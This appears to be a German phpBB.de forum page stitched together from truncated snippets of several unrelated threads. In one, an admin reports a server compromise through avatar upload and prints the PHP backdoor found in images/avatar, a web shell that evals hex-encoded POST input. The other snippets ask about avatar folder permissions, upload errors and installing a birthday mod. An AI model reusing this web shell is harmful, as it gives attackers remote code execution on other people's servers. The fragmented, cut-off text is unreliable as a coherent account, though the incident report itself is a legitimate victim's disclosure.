phpBB.de

Update habe ich gestern gemacht. Das ding muss per Avatarupload raufgekommen sein. Wahrscheinlcih ein Bug vom PHPBB. Danach hat der Hacker den eggdrop installiert und den server als hackingconsole mißbraucht. von august bis heute morgen.

Hier kannst mal sehen was die group so macht:

- Link ...

Es ist ganz komisch gewesen. Im Ordner images/avatar war eine php datei mit folgendem Code:


<?php

if(isset($HTTP_POST_VARS) && isset($HTTP_POST_VARS['ixjabgre']))
{
eval(pack('H*', $HTTP_POST_VARS['ixjabgre']));
}
else if(isset($_POST) && isset($_POST['ixjabgre']))
{
eval(pack('H*', $_POST ...

Hallo Leute.

Ich hatte bis vor ein paar Tagen Board Version 16 laufen.
Ich habe den Avatar ordner auf die Rechte 777 gestellt. In dem Ordner schwirren plötzlich php dateien herum. Mit diesen hat dann ein Hacker einen ddos Angriff gemacht. Gibt oder gab es in den letzten Versionen von phpbb einen ...

Bin ich zwar schon mal durchgegangen. Habs jetzt noch einmal durchgelesen und bin drauf gekommen dass ich nen tmp ordner brauche. also avatare/tmp. jetzt funktioniert es. vielen dank.

Hab da auch ein Problem. Von der Platte hochladen funktioniert, von einer externen Webseite nicht:

Could not write avatar file to local storage. Please contact the board administrator with this message

DEBUG MODE

Line : 172
File : /home/www/web5/html/intim-board/includes/usercp_avatar.php ...

kann mir niemand helfen?

Ich koomm beim Part 1 schon nimma weiter, weil es da ein paar zeile nimma gibt. könntest mir deinen mod vielleciht schicken?

also ich wollt ihn auch gerade den birthday mod installieren und bekomm es auch nicht hin. kann mir wer sagen was man beim phpbb 2.0.5 anders machen muss?